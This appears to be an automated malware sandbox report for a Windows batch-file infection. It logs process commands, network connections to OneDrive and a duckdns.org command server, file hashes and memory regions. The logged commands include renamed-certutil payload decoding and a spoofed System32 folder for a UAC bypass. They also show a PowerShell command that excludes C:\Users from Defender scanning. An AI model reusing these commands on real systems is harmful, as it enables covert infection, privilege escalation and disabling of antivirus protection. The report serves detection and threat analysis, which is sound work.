C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Yano.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\AprfgvrzO.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y

C:\Windows \System32\easinvoker.exe

"C:\Windows \System32\easinvoker.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Yano.com C:\\Users\\Public\\Libraries\\Aprfgvrz.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 240.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
GB 23.44.234.16:80 tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 3zgtkg.dm.files.1drv.com udp
US 13.107.42.12:443 3zgtkg.dm.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 jaztc.duckdns.org udp
US 192.3.216.131:1808 jaztc.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 131.216.3.192.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 159.113.53.23.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 253.15.104.51.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\Yano.txt

MD5 4cf5c11880ee66463fbbbd2d00371d09
SHA1 9c438f3129d126279e62d738ced076daf88090af
SHA256 47b157a5a99f3304a954236dd5f85978bd8dfb8a741abefd2798dfc2b2e2a8c7
SHA512 0915ee260c1e625779b7036c049bd2aafc43852d5585f3674bebca41189025db9c13d9cc4543fde579f61128c815107b5d765cc45e24e4f109f4aaf41038a9ce

C:\Users\Public\Libraries\Yano.com

MD5 6e81d417826597c23f59c6dc8d0e9325
SHA1 6b8f936e6d7249471d1acdf5e3ec50faea11211a
SHA256 92286b5317d643787e4109d2d7354e94593416720d0b8f8aa2d497a16a24f377
SHA512 37dfc57c6ada7b379150c1085dcef8b01b4e950f011bc45f50889c883ff28d33a0be4fb0a66f1b1a8d862a6e37dcaf1f810b66bd094b7baff5cfb8f041d198cc

memory/228-28-0x0000000000A30000-0x0000000000A31000-memory.dmp

memory/228-29-0x0000000002910000-0x0000000003910000-memory.dmp

memory/228-30-0x0000000002910000-0x0000000003910000-memory.dmp

memory/228-32-0x0000000000400000-0x0000000000531000-memory.dmp

C:\Users\Public\Libraries\AprfgvrzO.bat

MD5 828ffbf60677999579dafe4bf3919c63
SHA1 a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc
SHA256 abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
SHA512 bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e

C:\Users\Public\Libraries\easinvoker.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Users\Public\Libraries\aaa.bat

MD5 f4e8f0ec6cfc5c6039402322685cb6ce
SHA1 1037835573c2886dda05d256f15306da89dc645e
SHA256 cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756
SHA512 c5f9dfbbdb437c8ef9e2dd53fcbafcb256ab4626b4637a21332b3112c20f0d5353674031aae21b57604ba80d3b3f51f11b0ed412ed5fa6641b32fc4793746e02

C:\Users\Public\Libraries\netutils.dll

MD5 30468939b69d5b1f29494fff5b161e6b
SHA1 3f900a76e5a00efd97c618c8cdaa55e66384618f
SHA256 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd
SHA512 f59fc26b77b28bc0dce41f2542c95a0fcb32204cc2d840d7cf8e74e10fbfc238f0c360e3bb5d787f32c83668ad10bbe522e098ede52f178dd8555c7af530f27f

memory/2976-52-0x00000000613C0000-0x00000000613E3000-memory.dmp

memory/1420-59-0x0000013F3A8D0000-0x0000013F3A8F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3uzxjens.pd3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1420-64-0x00007FFA2B460000-0x00007FFA2BF21000-memory.dmp

memory/1420-65-0x0000013F38750000-0x0000013F38760000-memory.dmp

memory/1420-66-0x0000013F38750000-0x0000013F38760000-memory.dmp

memory/1420-69-0x00007FFA2B460000-0x00007FFA2BF21000-memory.dmp

memory/228-74-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-76-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-77-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-78-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-79-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-80-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-81-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-83-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-89-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-90-0x0000000014F00000-0x0000000015F00000-memory.dmp

C:\ProgramData\sfsfdrgrre\logs.dat

MD5 893868201045c14edf97799973e6ee4f
SHA1 75c90bde31032859b27350eac21043cf944b720a
SHA256 506f0435380672033687bfb22bd2112c267a0b6f63f62aab4e01d6cc6d101abd
SHA512 a08da085a6bda07e465f30b578aa137cabe912db0c75c7d31ea60890b9377981f60f9393d0dccb0b616f893682127a3e3e9c4003ebc6258cfa9bc563cb86a93b

memory/228-100-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-101-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-111-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-112-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-122-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-123-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-133-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-134-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-144-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-145-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-155-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-156-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-166-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-167-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-177-0x0000000014F00000-0x0000000015F00000-memory.dmp

memory/228-178-0x0000000014F00000-0x0000000015F00000-memory.dmp